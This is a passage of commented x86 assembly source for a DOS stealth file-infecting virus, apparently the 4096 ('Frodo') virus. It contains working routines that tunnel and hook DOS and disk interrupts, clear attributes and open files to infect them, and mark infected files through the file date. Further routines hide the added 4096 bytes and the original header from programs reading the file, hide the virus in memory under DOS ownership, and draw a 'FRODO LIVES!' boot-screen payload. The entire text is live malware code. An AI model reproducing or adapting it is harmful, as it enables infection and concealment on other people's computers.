checksum? jne otherchecksum COMchecksum: call restoreregs clc ; mark no error retn otherchecksum: call restoreregs stc ; mark error retn getcurrentPSP: push bx mov ah,51h ; Get current PSP segment call callint21 mov cs:currentPSP,bx ; store it pop bx retn setup_infection: call replaceint13and24 push dx mov dl,cs:filedrive mov ah,36h ; Get disk free space call callint21 mul cx ; ax = bytes per cluster mul bx ; dx:ax = bytes free space mov bx,dx pop dx or bx,bx ; less than 65536 bytes free? jnz enough_free_space ; hopefully not cmp ax,4000h ; exit if less than 16384 jb exit_setup_infection ; bytes free enough_free_space: mov ax,4300h ; Get file attributes call callint21 jc exit_setup_infection ; exit on error mov di,cx ; di = attributes xor cx,cx mov ax,4301h ; Clear file attributes call callint21 cmp byte ptr cs:errorflag,0 ; check for errors jne exit_setup_infection mov ax,3D02h ; Open file read/write call callint21 jc exit_setup_infection ; exit on error mov bx,ax ; move handle to bx ; xchg bx,ax is superior mov cx,di mov ax,4301h ; Restore file attributes call callint21 push bx mov dl,cs:filedrive ; Get file's drive number mov ah,32h ; Get drive parameter block call callint21 ; for disk dl mov ax,[bx+1Eh] ; Get free cluster count mov cs:numfreeclusters,ax ; and save it pop bx ; return handle call restoreint13and24 retn exit_setup_infection: xor bx,bx dec bx ; return bx=-1 on error call restoreint13and24 retn checkforinfection: push cx push dx push ax mov ax,4400h ; Get device information call callint21 ; (set hide_size = 2) xor dl,80h test dl,80h ; Character device? If so, jz exit_checkforinfection ; exit; cannot be infected mov ax,5700h ; Otherwise get time/date call callint21 test dh,80h ; Check year bit for infection exit_checkforinfection: pop ax pop dx pop cx retn obtainfilesize: call saveregs mov ax,4201h ; Get current file position xor cx,cx xor dx,dx call callint21 mov cs:curfileposlow,ax mov cs:curfileposhigh,dx mov ax,4202h ; Go to end of file xor cx,cx xor dx,dx call callint21 mov cs:filesizelow,ax mov cs:filesizehigh,dx mov ax,4200h ; Return to file position mov dx,cs:curfileposlow mov cx,cs:curfileposhigh call callint21 call restoreregs retn getsetfiletimedate: or al,al ; Get time/date? jnz checkifsettimedate ; if not, see if Set time/date and word ptr cs:int21flags,0FFFEh ; turn off trap flag call _popall call callint21 jc gettimedate_error ; exit on error test dh,80h ; check year bit if infected jz gettimedate_notinfected sub dh,0C8h ; if so, hide change gettimedate_notinfected: jmp exitint21 gettimedate_error: or word ptr cs:int21flags,1; turn on trap flag jmp exitint21 checkifsettimedate: cmp al,1 ; Set time/date? jne exit_filetimedate_pointer and word ptr cs:int21flags,0FFFEh ; turn off trap flag test dh,80h ; Infection bit set? jz set_yearbitset sub dh,0C8h ; clear infection bit set_yearbitset: call checkforinfection jz set_datetime_nofinagle add dh,0C8h ; set infection flag set_datetime_nofinagle: call callint21 mov [bp-4],ax adc word ptr cs:int21flags,0; turn on/off trap flag jmp _popall_then_exitint21 ; depending on result handlemovefilepointer: cmp al,2 jne exit_filetimedate_pointer call checkforinfection jz exit_filetimedate_pointer sub word ptr [bp-0Ah],1000h ; hide file size sbb word ptr [bp-8],0 exit_filetimedate_pointer: jmp exitotherint21 handleread: and byte ptr cs:int21flags,0FEh ; clear trap flag call checkforinfection ; exit if it is not jz exit_filetimedate_pointer ; infected -- no need ; to do stealthy stuff mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow ; store the file size mov dx,cs:filesizehigh sub ax,1000h ; get uninfected file size sbb dx,0 sub ax,cs:curfileposlow ; check if currently in sbb dx,cs:curfileposhigh ; virus code jns not_in_virus_body ; continue if not mov word ptr [bp-4],0 ; set return code = 0 jmp handleopenclose_exit not_in_virus_body: jnz not_reading_header cmp ax,cx ; reading from header? ja not_reading_header mov cs:savelength,ax ; # bytes into header not_reading_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; if reading > 64K into file, jnz finish_reading ; then no problems cmp dx,1Ch ; if reading from header, then jbe reading_from_header ; do stealthy stuff finish_reading: mov dx,cs:savebuffer mov cx,cs:savelength mov ah,3Fh ; read file call callint21 add ax,cs:return_code ; ax = bytes read mov [bp-4],ax ; set return code properly jmp _popall_then_exitint21 reading_from_header: mov si,dx mov di,dx add di,cs:savelength cmp di,1Ch ; reading all of header? jb read_part_of_header ; nope, calculate how much xor di,di jmp short do_read_from_header read_part_of_header: sub di,1Ch neg di do_read_from_header: mov ax,dx mov cx,cs:filesizehigh ; calculate location in mov dx,cs:filesizelow ; the file of the virus add dx,0Fh ; storage area for the adc cx,0 ; original 1Ch bytes of and dx,0FFF0h ; the file sub dx,0FFCh sbb cx,0 add dx,ax adc cx,0 mov ax,4200h ; go to that location call callint21 mov cx,1Ch sub cx,di sub cx,si mov ah,3Fh ; read the original header mov dx,cs:savebuffer call callint21 add cs:savebuffer,ax sub cs:savelength,ax add cs:return_code,ax xor cx,cx ; go past the virus's header mov dx,1Ch mov ax,4200h call callint21 jmp finish_reading ; and continue the reading handlewrite: and byte ptr cs:int21flags,0FEh ; turn off trap flag call checkforinfection jnz continue_handlewrite jmp exit_filetimedate_pointer continue_handlewrite: mov cs:savelength,cx mov cs:savebuffer,dx mov word ptr cs:return_code,0 call obtainfilesize mov ax,cs:filesizelow mov dx,cs:filesizehigh sub ax,1000h ; calculate original file sbb dx,0 ; size sub ax,cs:curfileposlow ; writing from inside the sbb dx,cs:curfileposhigh ; virus? js finish_write ; if not, we can continue jmp short write_inside_virus; otherwise, fixup some stuff finish_write: call replaceint13and24 push cs pop ds mov dx,ds:filesizelow ; calculate location in file mov cx,ds:filesizehigh ; of the virus storage of the add dx,0Fh ; original 1Ch bytes of the adc cx,0 ; file and dx,0FFF0h sub dx,0FFCh sbb cx,0 mov ax,4200h call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,3Fh ; read original header call callint21 mov ax,4200h ; go to beginning of file xor cx,cx mov dx,cx call callint21 mov dx,offset oldheader mov cx,1Ch mov ah,40h ; write original header to call callint21 ; the file mov dx,0F000h ; go back 4096 bytes mov cx,0FFFFh ; from the end of the mov ax,4202h ; file and call callint21 mov ah,40h ; truncate the file xor cx,cx ; at that position call callint21 mov dx,ds:curfileposlow ; Go to current file position mov cx,ds:curfileposhigh mov ax,4200h call callint21 mov ax,5700h ; Get file time/date call callint21 test dh,80h jz high_bit_aint_set sub dh,0C8h ; restore file date mov ax,5701h ; put it onto the disk call callint21 high_bit_aint_set: call restoreint13and24 jmp exitotherint21 write_inside_virus: jnz write_inside_header ; write from start of file? cmp ax,cx ja write_inside_header ; write from inside header? jmp finish_write write_inside_header: mov dx,cs:curfileposlow mov cx,cs:curfileposhigh or cx,cx ; Reading over 64K? jnz writemorethan1Chbytes cmp dx,1Ch ; Reading over 1Ch bytes? ja writemorethan1Chbytes jmp finish_write writemorethan1Chbytes: call _popall call callint21 ; chain to int 21h ; (allow write to take place) call _pushall mov ax,5700h ; Get file time/date call callint21 test dh,80h jnz _popall_then_exitint21_ add dh,0C8h mov ax,5701h ; restore file date call callint21 _popall_then_exitint21_: jmp _popall_then_exitint21 jmp exitotherint21 int13: pop word ptr cs:int13tempCSIP ; get calling CS:IP off pop word ptr cs:int13tempCSIP+2 ; the stack pop word ptr cs:int13flags and word ptr cs:int13flags,0FFFEh ; turn off trap flag cmp byte ptr cs:errorflag,0 ; any errors yet? jne exitint13error ; yes, already an error push word ptr cs:int13flags call dword ptr cs:origints jnc exitint13 inc byte ptr cs:errorflag ; mark error exitint13error: stc ; mark error exitint13: jmp dword ptr cs:int13tempCSIP ; return to caller int24: xor al,al ; ignore error mov byte ptr cs:errorflag,1 ; mark error iret replaceint13and24: mov byte ptr cs:errorflag,0 ; clear errors call saveregs push cs pop ds mov al,13h ; save int 13 handler call getint mov word ptr ds:origints,bx mov word ptr ds:origints+2,es mov word ptr ds:oldint13,bx mov word ptr ds:oldint13+2,es mov dl,0 mov al,0Dh ; fixed disk interrupt call getint mov ax,es cmp ax,0C000h ; is there a hard disk? jae harddiskpresent ; C000+ is in BIOS mov dl,2 harddiskpresent: mov al,0Eh ; floppy disk interrupt call getint mov ax,es cmp ax,0C000h ; check if floppy jae floppypresent mov dl,2 floppypresent: mov ds:tracemode,dl call replaceint1 mov ds:savess,ss ; save stack mov ds:savesp,sp push cs ; save these on stack for mov ax,offset setvirusints ; return to setvirusints push ax mov ax,70h mov es,ax mov cx,0FFFFh mov al,0CBh ; retf xor di,di repne scasb ;scan es:di for retf statement dec di ; es:di->retf statement pushf push es ; set up stack for iret to push di ; the retf statement which ; will cause transfer of ; control to setvirusints pushf pop ax or ah,1 ; turn on the trap flag push ax in al,21h ; save IMR in temporary mov ds:saveIMR,al ; buffer and then mov al,0FFh ; disable all the out 21h,al ; interrupts popf xor ax,ax ; reset disk jmp dword ptr ds:origints ; (int 13h call) ; then transfer control to setvirusints: ; setvirusints lds dx,dword ptr ds:oldint1 mov al,1 ; restore old int 1 handler call setvect push cs pop ds mov dx,offset int13 ; replace old int 13h handler mov al,13h ; with virus's call setvect mov al,24h ; Get old critical error call getint ; handler and save its mov word ptr ds:oldint24,bx ; location mov word ptr ds:oldint24+2,es mov dx,offset int24 mov al,24h ; Replace int 24 handler call setvect ; with virus's handler call restoreregs retn restoreint13and24: call saveregs lds dx,dword ptr cs:oldint13 mov al,13h call setvect lds dx,dword ptr cs:oldint24 mov al,24h call setvect call restoreregs retn disableBREAK: mov ax,3300h ; Get current BREAK setting call callint21 mov cs:BREAKsave,dl mov ax,3301h ; Turn BREAK off xor dl,dl call callint21 retn restoreBREAK: mov dl,cs:BREAKsave mov ax,3301h ; restore BREAK setting call callint21 retn _pushall: pop word ptr cs:pushpopalltempstore pushf push ax push bx push cx push dx push si push di push ds push es jmp word ptr cs:pushpopalltempstore swapvirint21: les di,dword ptr cs:oldint21; delve into original int mov si,offset jmpfarptr ; handler and swap the first push cs ; 5 bytes. This toggles it pop ds ; between a jmp to the virus cld ; code and the original 5 mov cx,5 ; bytes of the int handler swapvirint21loop: ; this is a tunnelling method lodsb ; if I ever saw one xchg al,es:[di] ; puts the bytes in DOS's mov [si-1],al ; int 21h handler inc di loop swapvirint21loop retn _popall: pop word ptr cs:pushpopalltempstore pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp word ptr cs:pushpopalltempstore restoreregs: mov word ptr cs:storecall,offset _popall jmp short do_saverestoreregs saveregs: mov word ptr cs:storecall,offset _pushall do_saverestoreregs: mov cs:storess,ss ; save stack mov cs:storesp,sp push cs pop ss mov sp,cs:stackptr ; set new stack call word ptr cs:storecall mov cs:stackptr,sp ; update internal stack ptr mov ss,cs:storess ; and restore stack to mov sp,cs:storesp ; caller program's stack retn replaceint1: mov al,1 ; get the old interrupt call getint ; 1 handler and save it mov word ptr cs:oldint1,bx ; for later restoration mov word ptr cs:oldint1+2,es push cs pop ds mov dx,offset int1 ; set int 1 handler to call setvect ; the virus int handler retn allocatememory: call allocate_memory jmp exitotherint21 allocate_memory: cmp byte ptr cs:checkres,0 ; installed check je exitallocate_memory ; exit if installed cmp bx,0FFFFh ; finding total memory? jne exitallocate_memory ; (virus trying to install?) mov bx,160h ; allocate memory to virus call callint21 jc exitallocate_memory ; exit on error mov dx,cs cmp ax,dx jb continue_allocate_memory mov es,ax mov ah,49h ; Free memory call callint21 jmp short exitallocate_memory continue_allocate_memory: dec dx ; get segment of MCB mov ds,dx mov word ptr ds:[1],0 ; mark unused MCB inc dx ; go to memory area mov ds,dx mov es,ax push ax mov word ptr cs:int21store+2,ax ; fixup segment xor si,si mov di,si mov cx,0B00h rep movsw ; copy virus up there dec ax ; go to MCB mov es,ax mov ax,cs:ownerfirstMCB ; get DOS PSP ID mov es:[1],ax ; make vir ID = DOS PSP ID mov ax,offset exitallocate_memory push ax retf exitallocate_memory: retn get_device_info: mov byte ptr cs:hide_size,2 jmp exitotherint21 callint21: ; call original int 21h handler (tunnelled) pushf call dword ptr cs:oldint21 retn bootblock: cli xor ax,ax ; set new stack just below mov ss,ax ; start of load area for mov sp,7C00h ; boot block jmp short enter_bootblock borderchars db 'ллл ' FRODO_LIVES: ; bitmapped 'FRODO LIVES!' db 11111001b,11100000b,11100011b,11000011b,10000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 10000001b,00010001b,00010010b,00100100b,01000000b db 11110001b,11110001b,00010010b,00100100b,01000000b db 10000001b,00100001b,00010010b,00100100b,01000000b db 10000001b,00010000b,11100011b,11000011b,10000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 00000000b,00000000b,00000000b,00000000b,00000000b db 10000010b,01000100b,11111000b,01110000b,11000000b db 10000010b,01000100b,10000000b,10001000b,11000000b db 10000010b,01000100b,10000000b,10000000b,11000000b db 10000010b,01000100b,11110000b,01110000b,11000000b db 10000010b,00101000b,10000000b,00001000b,11000000b db 10000010b,00101000b,10000000b,10001000b,00000000b db 11110010b,00010000b,11111000b,01110000b,11000000b enter_bootblock: push cs pop ds mov dx,0B000h ; get video page in bh mov ah,0Fh ; get video mode in al int 10h ; get columns in ah cmp al,7 ; check if colour je monochrome mov dx,0B800h ; colour segment monochrome: mov es,dx ; es->video segment cld xor di,di mov cx,25*80 ; entire screen mov ax,720h ; ' ', normal attribute rep stosw ; clear the screen mov si,7C00h+FRODO_LIVES-bootblock mov bx,2AEh morelinestodisplay: mov bp,5 mov di,bx displaymorebackgroundontheline: lodsb ; get background pattern mov dh,al mov cx,8 displayinitialbackground: mov ax,720h shl dx,1 jnc spacechar mov al,'л' spacechar: stosw loop displayinitialbackground dec bp jnz displaymorebackgroundontheline add bx,80*2 ; go to next line cmp si,7C00h+enter_bootblock-bootblock jb morelinestodisplay mov ah,1 ; set cursor mode to cx int 10h mov al,8 ; set new int 8 handler mov dx,7C00h+int8-bootblock ; to spin border call setvect mov ax,7FEh ; enable timer interrupts only out 21h,al sti xor bx,bx mov cx,1 jmp short $ ; loop forever while ; spinning the border int8: ; the timer interrupt spins dec cx ; the border jnz endint8 xor di,di inc bx call spin_border call spin_border mov cl,4 ; wait 4 more ticks until endint8: ; next update mov al,20h ; Signal end of interrupt out 20h,al iret spin_border: mov cx,28h ; do 40 characters across dohorizontal: call lookup_border_char stosw stosw loop dohorizontal patch2: add di,9Eh ; go to next line mov cx,17h ; do for next 23 lines dovertical: ; handle vertical borders call lookup_border_char ; get border character stosw ; print it on screen patch3: add di,9Eh ; go to next line loop dovertical patch1: std ; this code handles the other half of the border xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld xor byte ptr ds:[7C00h+patch2-bootblock+1],28h xor byte ptr ds:[7C00h+patch3-bootblock+1],28h retn lookup_border_char: and bx,3 ; find corresponding border mov al,ds:[bx+7C00h+borderchars-bootblock] inc bx ; character retn setvect: push es push bx xor bx,bx mov es,bx mov bl,al ; int # to bx shl bx,1 ; int # * 4 = offset in shl bx,1 ; interrupt table mov es:[bx],dx ; set the vector in the mov es:[bx+2],ds ; interrupt table pop bx pop es retn writebootblock: ; this is an unfinished subroutine; it doesn't work properly call replaceint13and24 mov dl,80h db 0E8h, 08h, 00h, 32h,0D2h,0E8h db 03h, 01h, 00h, 9Ah, 0Eh, 32h db 08h, 70h, 00h, 33h, 0Eh, 2Eh db 03h, 6Ch, 15h, 03h, 00h, 26h db 00h, 00h, 00h, 21h, 00h, 50h db 12h, 65h, 14h, 82h, 08h, 00h db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch db 15h,0E2h, 0Ch, 1Eh, 93h, 00h db 00h,0E2h, 0Ch, 50h org 1200h readbuffer dw ? ; beginning of the read buffer lengthMOD512 dw ? ; EXE header item - length of image modulo 512 lengthinpages dw ? ; EXE header item - length of image in pages relocationitems dw ? ; EXE header item - # relocation items headersize dw ? ; EXE header item - header size in paragraphs minmemory dw ? ; EXE header item - minimum memory allocation maxmemory dw ? ; EXE header item - maximum memory allocation initialSS dw ? ; EXE header item - initial SS value initialSP dw ? ; EXE header item - initial SP value wordchecksum dw ? ; EXE header item - checksum value initialIP dw ? ; EXE header item - initial IP value initialCS dw ? ; EXE header item - initial CS value db 12 dup (?) ; rest of header - unused parmblock dd ? ; address of parameter block filedrive db ? ; 0 = default drive filetime dw ? ; saved file time filedate dw ? ; saved file date origints dd ? ; temporary scratch buffer for interrupt vectors oldint1 dd ? ; original interrupt 1 vector oldint21 dd ? ; original interrupt 21h vector oldint13 dd ? ; original interrupt 13h vector oldint24 dd ? ; original interrupt 24h vector int13tempCSIP dd ? ; stores calling CS:IP of int 13h carrierPSP dw ? ; carrier file PSP segment DOSsegment dw ? ; segment of DOS list of lists ownerfirstMCB dw ? ; owner of the first MCB jmpfarptr db ? ; 0eah, jmp far ptr int21store dd ? ; temporary storage for other 4 bytes ; and for pointer to virus int 21h tracemode db ? ; trace mode instructionstotrace db ? ; number of instructions to trace handletable dw 28h dup (?) ; array of handles handlesleft db ? ; entries left in table currentPSP dw ? ; storage for the current PSP segment curfileposlow dw ? ; current file pointer location, low word curfileposhigh dw ? ; current file pointer location, high word filesizelow dw ? ; current file size, low word filesizehigh dw ? ; current file size, high word savebuffer dw ? ; storage for handle read, etc. savelength dw ? ; functions return_code dw ? ; returned in AX on exit of int 21h int21flags dw ? ; storage of int 21h return flags register tempFCB db 25h dup (?) ; copy of the FCB errorflag db ? ; 0 if no error, 1 if error int13flags dw ? ; storage of int 13h return flags register savess dw ? ; temporary storage of stack segment savesp dw ? ; and stack pointer BREAKsave db ? ; current BREAK state checkres db ? ; already installed flag initialax dw ? ; AX upon entry to carrier saveIMR db ? ; storage for interrupt mask register saveoffset dw ? ; temp storage of CS:IP of savesegment dw ? ; caller to int 21h pushpopalltempstore dw ? ; push/popall caller address numfreeclusters dw ? ; total free clusters DOSversion db ? ; current DOS version hideclustercountchange db ? ; flag of whether to hide free cluster count hide_size db ? ; hide filesize increase if equal to 0 copyparmblock db 0eh dup (?) ; copy of the parameter block origsp dw ? ; temporary storage of stack pointer origss dw ? ; and stack segment origcsip dd ? ; temporary storage of caller CS:IP copyfilename db 50h dup (?) ; copy of filename storesp dw ? ; temporary storage of stack pointer storess dw ? ; and stack segment stackptr dw ? ; register storage stack pointer storecall dw ? ; temporary storage of function offset topstack = 1600h _4096 ends end